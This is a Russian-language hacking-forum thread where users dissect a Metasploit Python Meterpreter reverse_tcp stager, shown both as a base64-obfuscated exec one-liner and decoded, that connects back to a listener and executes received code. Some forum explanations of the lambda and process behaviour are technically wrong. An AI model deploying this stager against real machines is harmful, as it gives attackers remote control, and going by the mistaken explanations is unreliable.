• B правой части каждого сообщения есть стрелки и . Не стесняйтесь оценивать ответы. Чтобы автору вопроса закрыть свой тикет, надо выбрать лучший ответ. Просто нажмите значок в правой части сообщения.

  • Курсы Академии Кодебай, стартующие в мае - июне, от команды The Codeby

    1. Цифровая криминалистика и реагирование на инциденты
    2. ОС Linux (DFIR) Старт: 16 мая
    3. Анализ фишинговых атак Старт: 16 мая Устройства для тестирования на проникновение Старт: 16 мая

    Скидки до 10%

    Полный список ближайших курсов ...

Помогите разобраться с кодом Python

pp11

Green Team
16.09.2018
201
82
BIT
1
Всем привет.
Решил немного поковырять msfvenom.
Сделал пэйлоад python/meterpreter/reverse_tcp
Python:
import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzEyNy4wLjAuMScsNDQ0NCkpCgkJYnJlYWsKCWV4Y2VwdDoKCQl0aW1lLnNsZWVwKDUpCmw9c3RydWN0LnVucGFjaygnPkknLHMucmVjdig0KSlbMF0KZD1zLnJlY3YobCkKd2hpbGUgbGVuKGQpPGw6CglkKz1zLnJlY3YobC1sZW4oZCkpCmV4ZWMoZCx7J3MnOnN9KQo=')))
Python:
import socket,struct,time
for x in range(10):
    try:
        s=socket.socket(2,socket.SOCK_STREAM)
        s.connect(('127.0.0.1',4444))
        break
    except:
        time.sleep(5)
l=struct.unpack('>I',s.recv(4))[0]
d=s.recv(l)
while len(d)<l:
    d+=s.recv(l-len(d))
exec(d,{'s':s})
С зашифрованной частью всё примерно ясно. Но вот с не зашифрованной есть вопросы.
Как после запуска билда python3 build.py он запускается и пропадает? То есть в процессах он остается, но консоль освобождается.

Я думаю, что все дело в функции b64decode.
Python:
exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0I...3MnOnN9KQo=')))
Функция exec запускает код питона.
base64.b64decode расшифровывает строку в аргументе, но что разработчики передали до зашифрованного кода?
Код:
{2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]

Буду рад помощи!
 

f22

Codeby Academy
Gold Team
05.05.2019
1 840
225
BIT
1 028
что разработчики передали до зашифрованного кода?
Похоже, это просто информация о шифровании, какая там кодировка и что это именно байты.
{} - оформление словаря
2: и 3: - соответственно номера элементов этого словаря,
а в итоге они "распаковываются" в параметры этой функции.
lambda b:bytes(b,'UTF-8') - конструкция анонимной функции.

Если ты беспокоишься о том, что там что-то "внедрено", то зря.
 

pp11

Green Team
16.09.2018
201
82
BIT
1
Если ты беспокоишься о том, что там что-то "внедрено", то зря.
Нет, насчет этого я не волнуюсь.

Меня интересует, как это точно работает. Почему я запускаю и программа остается в процессах, а терминал освобождается? Где это прописано?
 

f22

Codeby Academy
Gold Team
05.05.2019
1 840
225
BIT
1 028
Почему я запускаю и программа остается в процессах, а терминал освобождается? Где это прописано?
Это нигде не прописано, терминал просто выводит информацию на экран.
И, выполнив команду, закрывается по умолчанию.
Если у программы нет какого-то интерфейса и она не выводит никаких данных, зачем нужен терминал?
Это не прописано в коде программы, эти настройки применяются в параметрах системы.

Напиши простейший python код из разряда
print("hello")
и скомпилируй его в exe.
Запустив этот exe файл, ты увидишь как программа запустилась и мгновенно закрылась.
А вот если в коде необходимо какое-то действие пользователя, например x = input("Нажмите любую клавишу для продолжения..."),
то это окно будет висеть, пока клавиша не будет нажата.
 

pp11

Green Team
16.09.2018
201
82
BIT
1
Это нигде не прописано, терминал просто выводит информацию на экран.
И, выполнив команду, закрывается по умолчанию.
Если у программы нет какого-то интерфейса и она не выводит никаких данных, зачем нужен терминал?
Это не прописано в коде программы, эти настройки применяются в параметрах системы.

Напиши простейший python код из разряда
print("hello")
и скомпилируй его в exe.
Запустив этот exe файл, ты увидишь как программа запустилась и мгновенно закрылась.
А вот если в коде необходимо какое-то действие пользователя, например x = input("Нажмите любую клавишу для продолжения..."),
то это окно будет висеть, пока клавиша не будет нажата.
Хмм, то есть если там цикл слушателя, то будет бесконечно работать без вывода?

Не уверен, что вы меня правильно понимаете.

@explorer может ты знаешь?
 

addedie

Well-known member
04.08.2019
157
0
BIT
0
он имеет ввиду почему запущеная программа выходит в терминал, как в винде если запустить программу то она висит мордой на экране консоль к примеру с сокетом потомучто она работает, так и тут она поидее должна зависать в консоли = я думаю дело в том что ты запускаешь софтину но она неконектится и потому выходит этоже пайлоад бро он у тебя неконектится к хосту атакующего потому и закрывается у тебя тут зрители есть - s.connect(('127.0.0.1',4444)) ??
 

explorer

Platinum
05.08.2018
1 080
2 470
BIT
0
exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}
Как я это вижу навскидку: Бинарным файлам кодировка base64 добавляет в начало b'iVBORw0... функция lambda принимает закодированную строку и удаляет первые 2 символа. Иначе декодирование завершится с ошибкой. С UTF-8 тут всё ясно - чтобы на системах с разной кодировкой по-умолчанию не получились крякозябры.

Функция лямбда просто сокращает код, позволяя в 1 строку сделать то, что занимает несколько строк. Правда сложновато понять поначалу как она работает. Вот совсем простенький пример:

la.png


В скриптовом режиме:

Python:
print((lambda x: x + 1)(2))

А вот функция без лямбды:

rr.png


Разница очевидна, 4 строки против одной.
 

Vertigo

Lex mea est Vulgate Linux
Gold Team
15.02.2017
1 318
3 999
BIT
1
Ажиотаж какой-то сегодня))
Ребята,аккуратнее пожалуйста,Каспер возмущается.
vir1.PNG
 

explorer

Platinum
05.08.2018
1 080
2 470
BIT
0

f22

Codeby Academy
Gold Team
05.05.2019
1 840
225
BIT
1 028
Меня интересует, как это точно работает. Почему я запускаю и программа остается в процессах, а терминал освобождается? Где это прописано?
Не пойму, почему инициализация переменной s происходит в цикле
Python:
for x in range(10):
    try:
        s=socket.socket(2,socket.SOCK_STREAM)
а потом она же используется для присваивания какого-то значения уже в другой области видимости.
Python:
l=struct.unpack('>I',s.recv(4))[0]
d=s.recv(l)
Там не весь код приведён?
 

addedie

Well-known member
04.08.2019
157
0
BIT
0
помоему в цикле если инициализируешь переменную - она и в сях потом будет работать, точно неуверен, давно не кодил
код он весь показал
Python:
oot@buben:/opt/rapid7/nexpose/nsc# echo "aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzEyNy4wLjAuMScsMjM0NSkpCgkJYnJlYWsKCWV4Y2VwdDoKCQl0aW1lLnNsZWVwKDUpCmw9c3RydWN0LnVucGFjaygnPkknLHMucmVjdig0KSlbMF0KZD1zLnJlY3YobCkKd2hpbGUgbGVuKGQpPGw6CglkKz1zLnJlY3YobC1sZW4oZCkpCmV4ZWMoZCx7J3MnOnN9KQo=" |base64 -d
import socket,struct,time
for x in range(10):
    try:
        s=socket.socket(2,socket.SOCK_STREAM)
        s.connect(('127.0.0.1',2345))
        break
    except:
        time.sleep(5)
l=struct.unpack('>I',s.recv(4))[0]
d=s.recv(l)
while len(d)<l:
    d+=s.recv(l-len(d))
exec(d,{'s':s})
python крут
 

pp11

Green Team
16.09.2018
201
82
BIT
1
он имеет ввиду почему запущеная программа выходит в терминал, как в винде если запустить программу то она висит мордой на экране консоль к примеру с сокетом потомучто она работает, так и тут она поидее должна зависать в консоли = я думаю дело в том что ты запускаешь софтину но она неконектится и потому выходит этоже пайлоад бро он у тебя неконектится к хосту атакующего потому и закрывается у тебя тут зрители есть - s.connect(('127.0.0.1',4444)) ??
Сессия создается и из консоли выходит. В слушателе метасплойта есть сессия и есть возможность управлять машиной.
Не пойму, почему инициализация переменной s происходит в цикле
Python:
for x in range(10):
    try:
        s=socket.socket(2,socket.SOCK_STREAM)
а потом она же используется для присваивания какого-то значения уже в другой области видимости.
Python:
l=struct.unpack('>I',s.recv(4))[0]
d=s.recv(l)
Там не весь код приведён?
Код приведен весь. Ради интереса, если есть свободное время, то можете сами сгенерировать полезную нагрузку.

Что-то так никто и не ответил на вопрос, почему же всё-таки при подключенной сессии программа не зависает в терминале, а выходит и при этом сессия в слушателе остаётся рабочей. Также появляется в процессах полезная нагрузка.
 
Последнее редактирование:

explorer

Platinum
05.08.2018
1 080
2 470
BIT
0
Что-то так никто и не ответил на вопрос, почему же всё-таки при подключенной сессии программа не зависает в терминале, а выходит и при этом сессия в слушателе остаётся рабочей. Также появляется в процессах полезная нагрузка.
Да здесь нет никаких хитростей - вывода на печать нет, поэтому программа после выполнения (подключению к сокету) не будет висеть в терминале. А в процессах будет, так как подключение записалось в ячейку памяти. Из памяти его убрало бы connect.close()
А вообще Python сделан так, чтобы программисту не было нужно лезть в дебри памяти, для этого есть СИ )))
 

pp11

Green Team
16.09.2018
201
82
BIT
1
Да здесь нет никаких хитростей - вывода на печать нет, поэтому программа после выполнения (подключению к сокету) не будет висеть в терминале. А в процессах будет, так как подключение записалось в ячейку памяти. Из памяти его убрало бы connect.close()
А вообще Python сделан так, чтобы программисту не было нужно лезть в дебри памяти, для этого есть СИ )))
А ну все ясно теперь.
Спасибо
 

addedie

Well-known member
04.08.2019
157
0
BIT
0
Да, на самом деле будет.
Первый раз с таким сталкиваюсь.
я тоже если честно незадумывался, но очевидно обновления всяких либ и самого языка до новых версий это приняли за стандарт, в любом случае это круто, если к примеру в цикл незашло то и переменной в памяти небудет и удалять ничего ненадо, ну а если заходим всеже то создаем разумеется и используем потом в процессе....имхо помогает незамусоривать память лишними объявлениями
 

Сергей Попов

Кодебай
30.12.2015
4 693
6 590
BIT
369
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!